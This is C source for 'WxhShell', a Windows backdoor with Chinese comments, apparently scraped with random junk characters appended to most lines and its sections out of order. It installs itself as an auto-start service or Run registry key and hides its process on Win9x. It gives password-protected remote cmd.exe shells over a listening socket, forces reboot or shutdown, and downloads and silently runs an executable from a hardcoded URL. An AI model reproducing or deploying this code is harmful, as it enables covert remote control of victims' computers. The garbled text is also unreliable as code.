    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \-Iny=$  
    if(Boot(SHUTDOWN)) 0~+NB-L}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iY ^{wi~?  
    else { 1m>^{u  
    closesocket(wsh); |oe!P}u  
    ExitThread(0); <AI>8j6#B  
    } cQ(}^KO  
    break; -XBKOybHBO  
    } |;A9A's  
  // 获取shell DO&+=o`"  
  case 's': { Hs"% S  
    CmdShell(wsh); NqJ<!q)  
    closesocket(wsh); <I7(eh6d  
    ExitThread(0); {H=oxa  
    break; :cc[Jco@w  
  } }rz dm9  
  // 退出 xdd:yrC   
  case 'x': { ~~C6)N~1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~@T+mHny  
    CloseIt(wsh); X0y?<G1( a  
    break; i>Z|6 5  
    } Lw>-7)  
  // 离开 F8{ldzh  
  case 'q': { M`0(!Q}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]u rK$   
    closesocket(wsh); F+ffl^BQ  
    WSACleanup(); ";PG%_(  
    exit(1); AH&9Nye8  
    break; >j50 ;</  
        } ==]Z \jk  
  } wVgi+P  
  } / <JY:1|  
5oz>1  
  // 提示信息 |}_gA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H1` rM^,%A  
} \#PP8  
  } B/jrYT$;m  
Ln ~4mN^  
  return; <1aa~duT  
} uuu\f*<  
IWAj Mwo  
// shell模块句柄 7{n\y l?  
int CmdShell(SOCKET sock) f;.SSiT  
{ zzX<?6MS  
STARTUPINFO si; \Y*!f|=of  
ZeroMemory(&si,sizeof(si)); 9c#lLKrzG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6#<Ir @z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c}\ ' x5:o  
PROCESS_INFORMATION ProcessInfo; U? 8i'5)  
char cmdline[]="cmd"; -NAmu97V}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B ,V( LTE  
  return 0; +.w[6  
} @. "q  
y:Z$LmPc<  
// 自身启动模式 P,(9cyS{  
int StartFromService(void) %fHH{60  
{ 1|W2s\  
typedef struct [ L  
{ p` $fTgm  
  DWORD ExitStatus; Jf2e<?`  
  DWORD PebBaseAddress; mv{<'  
  DWORD AffinityMask; s~L`53A  
  DWORD BasePriority; $( S*GF$S  
  ULONG UniqueProcessId; .+OB!'dDK^  
  ULONG InheritedFromUniqueProcessId; eaEbH2J  
}   PROCESS_BASIC_INFORMATION; W+KF2(lB  
+|6`E3j%  
PROCNTQSIP NtQueryInformationProcess; 8+9\7*  
TZe+<~4*i%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wY/bA}%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '}_=kp'X  
veV_be{i  
  HANDLE             hProcess; (}G!np  
  PROCESS_BASIC_INFORMATION pbi; Ddb-@YD&+0  
?fV?|ZGZI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v{r1E]rY  
  if(NULL == hInst ) return 0; iecWa:('  
/^Y[*5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GjEqU;XBi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G%;kGi`m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IAYACmlN&  
]a M-p@  
  if (!NtQueryInformationProcess) return 0; sa G8g  
}"hW b(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ] @ufV  
  if(!hProcess) return 0; > V8sm/M  
M;qBDT~)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I`NUurQTX  
gSb,s [p&+  
  CloseHandle(hProcess); )T9~8p.  
P/G>/MD/l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GLCAiSMz[  
if(hProcess==NULL) return 0; rkq#7  
Y~}5axSPH  
HMODULE hMod; [_V:)  
char procName[255]; ul$,q05nb  
unsigned long cbNeeded; 6(Vhtr2( *  
J smB^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;`+`#h3-V  
H;QA@tF>5  
  CloseHandle(hProcess); Pubv$u2  
BX*69  
if(strstr(procName,"services")) return 1; // 以服务启动 pl|h>4af  
9p4y>3  
  return 0; // 注册表启动 X &D{5~qC  
} NEw $q4  
~cIl$b  
// 主模块 +p z}4M`  
int StartWxhshell(LPSTR lpCmdLine) >OK#n)U`  
{ z3W3=@  
  SOCKET wsl; ET.dI.R8  
BOOL val=TRUE; hCAZ{+`z  
  int port=0; KzNm^^#/$A  
  struct sockaddr_in door; J'e]x[Y  
Z|I-BPyn  
  if(wscfg.ws_autoins) Install(); _%B/!)v  
b1xpz1  
port=atoi(lpCmdLine); &qKig kLd  
P#MK  
if(port<=0) port=wscfg.ws_port; 6Hk="$6K  
~>g+2]Bn>$  
  WSADATA data; -9d%+O~v6~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &?y7I Pp  
RkA8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WI&lj<*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gw+eM,Yp  
  door.sin_family = AF_INET; gfN2/TDC]P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); epkD*7  
  door.sin_port = htons(port); R!6=7  
6]n/+[ ks  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o/^1Wm=  
closesocket(wsl); :^#vxdIC?  
return 1; )c+k_;t'+  
} DW>ES/B8$(  
[EOVw%R  
  if(listen(wsl,2) == INVALID_SOCKET) { @PX\{6&  
closesocket(wsl); 2"X~ju  
return 1; id?E)Jy  
} OhFW*v  
  Wxhshell(wsl); "(f`U.  
  WSACleanup(); oL-2qtv  
RgZOt[!.  
return 0; Hhl-E:"H`  
/8c&Axuv  
} - {{[cT I  
X#`dWNrN  
// 以NT服务方式启动 C?o6(p"b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )+EN$*H  
{ |>+uw|LtZ  
DWORD   status = 0; |##GIIv;i  
  DWORD   specificError = 0xfffffff; t,HFz6   
! %Ny0JkO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?aWx(dVQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :o8MUXH$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '!Wvqs  
  serviceStatus.dwWin32ExitCode     = 0; pO]8 dE0  
  serviceStatus.dwServiceSpecificExitCode = 0; cG_Vc[  
  serviceStatus.dwCheckPoint       = 0; q.W>4 k  
  serviceStatus.dwWaitHint       = 0; p$XKlg&  
a <wL#Id  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {v,)G)obWw  
  if (hServiceStatusHandle==0) return;  #^0(  
i=#F)AD^5#  
status = GetLastError(); !OAvD#  
  if (status!=NO_ERROR) 1m)M;^_  
{ [>Fm [5x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ck[&Q  
    serviceStatus.dwCheckPoint       = 0; xaW{I7FfG  
    serviceStatus.dwWaitHint       = 0; i=rH7k  
    serviceStatus.dwWin32ExitCode     = status; .<YcSG  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8@eOTzm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L'E^c,-x~  
    return; fYX<d%?7  
  } eV2mMSY  
=w%Oa<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ej^3Y Nh&  
  serviceStatus.dwCheckPoint       = 0; e fO jTA%  
  serviceStatus.dwWaitHint       = 0; k\aK?(.RC7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ahGT4d`)9  
} /XbW<dfl  
@ D[`Oj)  
// 处理NT服务事件,比如:启动、停止 q>s`uFRg(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DQ80B)<O  
{ K{=PQ XSU  
switch(fdwControl) H"Dn]$Q\Z  
{ 4XJiIa?  
case SERVICE_CONTROL_STOP: 5o 0Ch  
  serviceStatus.dwWin32ExitCode = 0; Mvcfk$pA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qLK?%?.N<  
  serviceStatus.dwCheckPoint   = 0; h"W8N+e\  
  serviceStatus.dwWaitHint     = 0; VW<0Lt3  
  { ^3~e/PKM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,hRN\Kt)p  
  } XKU=oI0\j  
  return; 46No%cSiG  
case SERVICE_CONTROL_PAUSE: Im?LIgt$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n}nEcXb  
  break; VaLs`q&3>  
case SERVICE_CONTROL_CONTINUE: .*5Z"Q['G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Es4qPB`g.  
  break; HdX2YPYn;  
case SERVICE_CONTROL_INTERROGATE: Zv!{{XO2;  
  break; #R&H &1  
}; l#qv 5f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uGVy6,  
} \RG!@$i  
*?% k#S  
// 标准应用程序主函数 n/Dp"4H%q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !0}\&<8/m  
{ r4XH =  
=Lp7{09u  
// 获取操作系统版本 l=m(mf?QBg  
OsIsNt=GetOsVer(); dcfe_EuT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 c3E+  
 zGlZ!t:  
  // 从命令行安装 c j$6  
  if(strpbrk(lpCmdLine,"iI")) Install(); tkKJh !Q7  
ko\):DN  
  // 下载执行文件 &#w=7L3AW  
if(wscfg.ws_downexe) { E-2 eOT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y] g?2N=E  
  WinExec(wscfg.ws_filenam,SW_HIDE); aUopNmN  
} 47>>4_Hz  
_}6q{}jn:c  
if(!OsIsNt) { E/b"RUv}h  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gh( A%x)  
HideProc(); t ?eH'*>  
StartWxhshell(lpCmdLine); @%ECj)u`O  
} f'Mop= .  
else YwDt.6(+,  
  if(StartFromService()) ^QX bJJ  
  // 以服务方式启动 Dm0a.J v  
  StartServiceCtrlDispatcher(DispatchTable); n6Z|Q@F  
else Y3U9:VB  
  // 普通方式启动 +cu^%CXT  
  StartWxhshell(lpCmdLine); k!L@GQ  
zTm]AG|0  
return 0; ^A_;#vK  
} {8RFK4! V@  
B4H!5b  
g_.^O$}  
m_NCx]#e   
=========================================== EG<s_d?  
45 >XKr.%  
chI.{Rj  
PL=^}{r  
YA]5~ ZE\  
evuZY X@  
"  $)~   
ef"?|sn  
#include <stdio.h> Dt}rR[yJ  
#include <string.h> sy5 Fn~\R  
#include <windows.h> ?}P5p^6  
#include <winsock2.h> ^"8wUsP  
#include <winsvc.h> b{7E;KyY,  
#include <urlmon.h> IVxWxM*N<  
V|D] M{O  
#pragma comment (lib, "Ws2_32.lib") 7Ke&0eAw  
#pragma comment (lib, "urlmon.lib") Jf;?XP]z  
){;02^tX  
#define MAX_USER   100 // 最大客户端连接数 }?8uH/+ZA  
#define BUF_SOCK   200 // sock buffer Fj p.T;  
#define KEY_BUFF   255 // 输入 buffer JCniN";r[  
WgQBGch,!  
#define REBOOT     0   // 重启 rS XzBi{  
#define SHUTDOWN   1   // 关机 (8a#\Y[b  
pbXi9|bI  
#define DEF_PORT   5000 // 监听端口 RVw9Y*]b  
u{H?4|'(  
#define REG_LEN     16   // 注册表键长度 c,\i"=!$  
#define SVC_LEN     80   // NT服务名长度 &"Ux6mF-"  
:;]Oc  
// 从dll定义API P\2M[Gu(Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #;KsJb)N.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $14:(<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vG41Ck1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~+F;q vq  
?9+@+q  
// wxhshell配置信息 rJyCw+N0  
struct WSCFG { >h~IfZU1  
  int ws_port;         // 监听端口 je,}_:7  
  char ws_passstr[REG_LEN]; // 口令 = "ts`>  
  int ws_autoins;       // 安装标记, 1=yes 0=no +a@GHx 4-  
  char ws_regname[REG_LEN]; // 注册表键名 %|W.^q  
  char ws_svcname[REG_LEN]; // 服务名 l,|%7-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r),PtI0X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sN=6gCau  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jH;Du2w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `6=-WEo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pL1i|O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hf6f.Z  
)$%Z:  
}; $D1w5o-  
RBKOM$7  
// default Wxhshell configuration :*514N  
struct WSCFG wscfg={DEF_PORT, ]jMKC8uz  
    "xuhuanlingzhe", dtStTT  
    1, S^I,Iz+`S'  
    "Wxhshell", Dr<='Ux[5  
    "Wxhshell", k`KGB  
            "WxhShell Service", <!d"E@%v@  
    "Wrsky Windows CmdShell Service", "8f?h%t  
    "Please Input Your Password: ", j V3)2C}  
  1, h!@,8y[B  
  "http://www.wrsky.com/wxhshell.exe", JtKp(k&  
  "Wxhshell.exe" <i?a0  
    }; ^Mkk@F&1  
` TqSQg_l  
// 消息定义模块 lJ;J~>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +FG$x/\*0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sUkm|K`#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6rti '  
char *msg_ws_ext="\n\rExit."; )KSoq/  
char *msg_ws_end="\n\rQuit."; K+\nC)oG  
char *msg_ws_boot="\n\rReboot..."; AEirj /  
char *msg_ws_poff="\n\rShutdown..."; "d/s5sP|S  
char *msg_ws_down="\n\rSave to "; jR ~DToQ  
!v|ISyK  
char *msg_ws_err="\n\rErr!"; IE~%=/|  
char *msg_ws_ok="\n\rOK!"; F t&+vS  
>c8GW >\N  
char ExeFile[MAX_PATH]; |`k .y]9  
int nUser = 0; < E|s\u  
HANDLE handles[MAX_USER]; <Q < AwP  
int OsIsNt; vYmSKS  
 %V G/  
SERVICE_STATUS       serviceStatus; b]Kk2S/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6(&Y(/  
.\Fss(Zn  
// 函数声明 U%B(5cC  
int Install(void); b}!3;:iD  
int Uninstall(void); rM}0%J'  
int DownloadFile(char *sURL, SOCKET wsh); S:Q! "U  
int Boot(int flag); ~^I> #Dd  
void HideProc(void); >>Ar$  
int GetOsVer(void); '1SG(0  
int Wxhshell(SOCKET wsl); FwAKP>6*  
void TalkWithClient(void *cs); \BV 0zKd  
int CmdShell(SOCKET sock); D0G-5}s`  
int StartFromService(void); eitu!=u  
int StartWxhshell(LPSTR lpCmdLine); b8KsR=]4I  
c{#yx_)V&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \0;(VLN'U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *O$CaAr\s  
f|EUqu%E  
// 数据结构和表定义 7v}x?I  
SERVICE_TABLE_ENTRY DispatchTable[] = 2RtHg_d_l  
{ k8nLo.O  
{wscfg.ws_svcname, NTServiceMain}, qem(s</:  
{NULL, NULL} ,<,:8B  
}; &a)eJF]:!  
q0mOG^  
// 自我安装 l;X|=eu'  
int Install(void) ?9MVM~$  
{ 10[Jl5+t  
  char svExeFile[MAX_PATH]; yq[Cq=rBk  
  HKEY key; n| O [a6G  
  strcpy(svExeFile,ExeFile); yqOuX>m1c  
e&q?}Ho  
// 如果是win9x系统,修改注册表设为自启动  l]!9$  
if(!OsIsNt) { '(+<UpG_Q}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;oO v/3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }u{gR:lZ  
  RegCloseKey(key); gY AF'?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \,UZX&ip  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;;s* Ohh  
  RegCloseKey(key); ,8G{]X)  
  return 0; Y(VJbm`  
    } x|64l`Vp(:  
  } vEe NW  
} / jTT5  
else { :6kjEI  
h~Q)Uy5N(D  
// 如果是NT以上系统,安装为系统服务 >-< 8N-@"n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .ae O}^  
if (schSCManager!=0) Px@/Q  
{ S&jesG-F  
  SC_HANDLE schService = CreateService vH %gdpxX  
  ( `\| ssC8u  
  schSCManager, ov# 7 hxe  
  wscfg.ws_svcname, qk(P>q8[  
  wscfg.ws_svcdisp, 7Du1RuxP  
  SERVICE_ALL_ACCESS, nxm$}!Df  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,.IEDF<&  
  SERVICE_AUTO_START, (WlIwKP  
  SERVICE_ERROR_NORMAL, Mn:/1eY  
  svExeFile, 7cg*|E@  
  NULL, -ZOBAG*  
  NULL, d^ ZMS~\*  
  NULL, ^}yg%+  
  NULL, %WFu<^jm  
  NULL S*)1|~pRvQ  
  ); n}-3o]ku  
  if (schService!=0) Ok-.}q>\Mv  
  { ;(6g\'m  
  CloseServiceHandle(schService); %~ |HFYd  
  CloseServiceHandle(schSCManager); ) iQ   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _>o-UBb4]T  
  strcat(svExeFile,wscfg.ws_svcname); gieJ}Bv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]1-z! B4K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =TvzS%U  
  RegCloseKey(key); ITuq/qts]A  
  return 0; cF T 9Lnz  
    } donw(_=  
  } nx":"LFI  
  CloseServiceHandle(schSCManager); v0*N)eqDGd  
} E9! N>0  
} s=I'e/"7  
\g)Xt?w0Wo  
return 1; RH;:9_*F  
} G`=r^$.3WB  
9<CG s3\  
// 自我卸载 "v*8_El  
int Uninstall(void) L}{`h  
{ \Xrw"\")j  
  HKEY key; k5d\ w@G"~  
&.i^dO^}  
if(!OsIsNt) { IputF<p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LS>G4 ]  
  RegDeleteValue(key,wscfg.ws_regname); =8 G&3 R  
  RegCloseKey(key); BG2)v.CU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vW,snxK6y&  
  RegDeleteValue(key,wscfg.ws_regname); ?@6b>='!  
  RegCloseKey(key); q(^Q3  
  return 0; ]Z<_ " F  
  } c/W=$3  
} f5RE9%.#~  
} u?+bW-D'd  
else {  Wa/g`}  
}w-wSkl1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t-%Q`V=[  
if (schSCManager!=0) [V# r7a  
{ ^S)TO}e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [(LV  
  if (schService!=0) p 5u_1U0  
  { BF|(!8S$U  
  if(DeleteService(schService)!=0) { m8]?hJY 3l  
  CloseServiceHandle(schService); {-zMHVw=}  
  CloseServiceHandle(schSCManager); ~!6K]hB4  
  return 0; JeH;v0  
  } t/i5,le  
  CloseServiceHandle(schService); C2e.2)y  
  } F-Z%6O,2  
  CloseServiceHandle(schSCManager); ?^Hf Np9  
} OIb  
} _K2?YY(#>  
"T/>d%O1b  
return 1; lw%?z/HDf  
} 8am`6;O:!  
e>'H IO  
// 从指定url下载文件 ^u)z{.z'H/  
int DownloadFile(char *sURL, SOCKET wsh) qf'm=efRyu  
{ uw\1b.r'B  
  HRESULT hr; #PLEPB  
char seps[]= "/"; Sywu=b  
char *token; j{VGClb=T  
char *file; ~K_Uq*dCE  
char myURL[MAX_PATH]; <{(/E0~V/<  
char myFILE[MAX_PATH]; ^o?SM^  
X##1! ad  
strcpy(myURL,sURL); !SOrCMHx  
  token=strtok(myURL,seps); eZhPu'id\s  
  while(token!=NULL) dP$GThGl  
  { M s9E@E  
    file=token; qgt[~i*  
  token=strtok(NULL,seps); 3{Nbp  
  } %rQuBi# 1f  
`\>.h  
GetCurrentDirectory(MAX_PATH,myFILE); +y+"Fyl  
strcat(myFILE, "\\"); xk~IN%\  
strcat(myFILE, file); qKS;x@  
  send(wsh,myFILE,strlen(myFILE),0); C z#Z<:  
send(wsh,"...",3,0); T4e\0.If  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JF9yVE-  
  if(hr==S_OK) \b8sG"G  
return 0; !#ri5{od  
else =Yo1v=wxN  
return 1; eS/B24;*  
tU wRE|_  
} G>qZxy`c  
".*x!l0y7  
// 系统电源模块 co4h*?q  
int Boot(int flag) n#Dv2 E=6  
{ gB,G.QM*6  
  HANDLE hToken; S&nxok`e^  
  TOKEN_PRIVILEGES tkp; "tit\a6\(  
8cx=#Me  
  if(OsIsNt) { <hnCUg1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l2%bF8]z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]-o"}"3Ef  
    tkp.PrivilegeCount = 1; eg+!*>GaX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "ceed)(:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yx'res4e  
if(flag==REBOOT) { ?C0l~:j7D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jo +w>  
  return 0; | aQ"3d  
} EUYCcL'G  
else { 1x J TWWj-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GnXNCeE`  
  return 0; ivgpS5 M`Y  
} ajl 2I/D  
  } ChryJRuwv5  
  else { hlZ@Dq%f  
if(flag==REBOOT) { UAF<m1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $$Vt7"F  
  return 0; W) j|rz.  
} ?eV(1 Fr@  
else { .V9e=yW!*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zboF 1v`  
  return 0; fJ*:{48  
} hw_JDv+  
} r5&I? 0   
\b'x t  
return 1; inPJ2uBD\^  
} C) QKPT  
EY`H}S!xy  
// win9x进程隐藏模块 g_*T?;!.U  
void HideProc(void) 8?t"C_>*e  
{ /NT[ETMk+  
@(``:)Z<b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3XiO@jzre  
  if ( hKernel != NULL ) =! Vf  
  { g o5]<4`r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F-(dRSDNM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T`/IO.2  
    FreeLibrary(hKernel); SDG-~(Y  
  } x)rlyjFM  
? Q@kg  
return; ~cAZB9Fa  
} ub0zJTFJ#  
k@>\LR/v  
// 获取操作系统版本 yDb'7(3-  
int GetOsVer(void) >e5 *prx+  
{ !U_ K&f  
  OSVERSIONINFO winfo; - N>MBn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gMWBu~;!  
  GetVersionEx(&winfo); {cK^,?x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HWns.[  
  return 1; :H6FPV78  
  else HC {XX>F^  
  return 0; +^aFs S  
} $VG*q  
<[aDo%,A  
// 客户端句柄模块 qpoV]#iW  
int Wxhshell(SOCKET wsl) %x; x_  
{ %sh>;^58P  
  SOCKET wsh; &MmU  
  struct sockaddr_in client; Hi! Jj  
  DWORD myID; 80}+MWdo  
"}WJd$  
  while(nUser<MAX_USER) o 6{\Zzp  
{ Bsf7mcXz7z  
  int nSize=sizeof(client); F+UG'4%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W^,S6!  
  if(wsh==INVALID_SOCKET) return 1; }*]B-\>  
ivO/;)=t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CDj~;$[B  
if(handles[nUser]==0) C#rc@r,F  
  closesocket(wsh); JE 5  
else (w (  
  nUser++; RhI;;Y#@  
  } psh^MX)Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yZ]:y-1  
4PLk  
  return 0; ,:Jus  
} #BVtL :x@  
$aCd/&  
// 关闭 socket 3H\w2V  
void CloseIt(SOCKET wsh) 3FSqd<t;D  
{ g3n'aD@'x  
closesocket(wsh); iq#b#PYA  
nUser--; Y&H}xn  
ExitThread(0); 2N#$X'8  
} -Ue$T{;RoH  
x}/,yaWZ  
// 客户端请求句柄 uhH^>z KA  
void TalkWithClient(void *cs) Zd^6ulx  
{ 0X8t>#uF  
Eh</? Qv\  
  SOCKET wsh=(SOCKET)cs; s>_V   
  char pwd[SVC_LEN]; A$0H .F>  
  char cmd[KEY_BUFF]; j!~l,::$"X  
char chr[1]; -W{DxN1  
int i,j; &K_)#v`|  
Tl]e%A`|  
  while (nUser < MAX_USER) { vD/NgRBww  
nL@KX>  
if(wscfg.ws_passstr) { M4LP$N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :,;K>l^U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l:;PXy6)  
  //ZeroMemory(pwd,KEY_BUFF); FLal}80.o:  
      i=0; B0$:b !  
  while(i<SVC_LEN) { _CBWb  
`=+^|Y}  
  // 设置超时 @[<nQZw:  
  fd_set FdRead; s..lK "b  
  struct timeval TimeOut; c@[:V  
  FD_ZERO(&FdRead); WtQ8X|\`  
  FD_SET(wsh,&FdRead); z't? ?6  
  TimeOut.tv_sec=8; gXT9 r' k  
  TimeOut.tv_usec=0; .xzEAu;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zepop19  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?SQE5Z  
|@?%Ct  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +cJy._pi!  
  pwd=chr[0]; :a8 YV!X  
  if(chr[0]==0xd || chr[0]==0xa) { OV2 -8ERS  
  pwd=0; t- u VZ!`\  
  break; 'C$XS>S  
  } #1c]PX  
  i++; vr#+0:|  
    } @Q&3L~K"  
I +5)Jau^S  
  // 如果是非法用户,关闭 socket )M=ioE8`h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I&?Qq k  
} Mwb/jTp  
;Mm7n12z C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7A\Cbu2tf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D.D$#O_n.S  
WH ?}~u9  
while(1) { 'ckQg=zPR  
/[:dp<  
  ZeroMemory(cmd,KEY_BUFF); #Lsnr.80  
O1%pxX'`S  
      // 自动支持客户端 telnet标准   sb:d>6  
  j=0; Y3kA?p0  
  while(j<KEY_BUFF) { dca ;'$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?1L.:CS  
  cmd[j]=chr[0];  [=O/1T  
  if(chr[0]==0xa || chr[0]==0xd) { )}Q(Tl\$  
  cmd[j]=0; "gd=J_Yw  
  break; ^Jb H?  
  } HS'Vi9  
  j++; tMj;s^P1  
    } s,bERN7'yO  
T +5X0 Nv  
  // 下载文件 jA".r'D%  
  if(strstr(cmd,"http://")) { Z nFi<@UB)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }nt* [:%  
  if(DownloadFile(cmd,wsh)) wIkN9 f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &1%q"\VI  
  else zX5!vaEv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [' z[  
  } 86@c't@  
  else { U$oduY#  
%h1N3\y9i(  
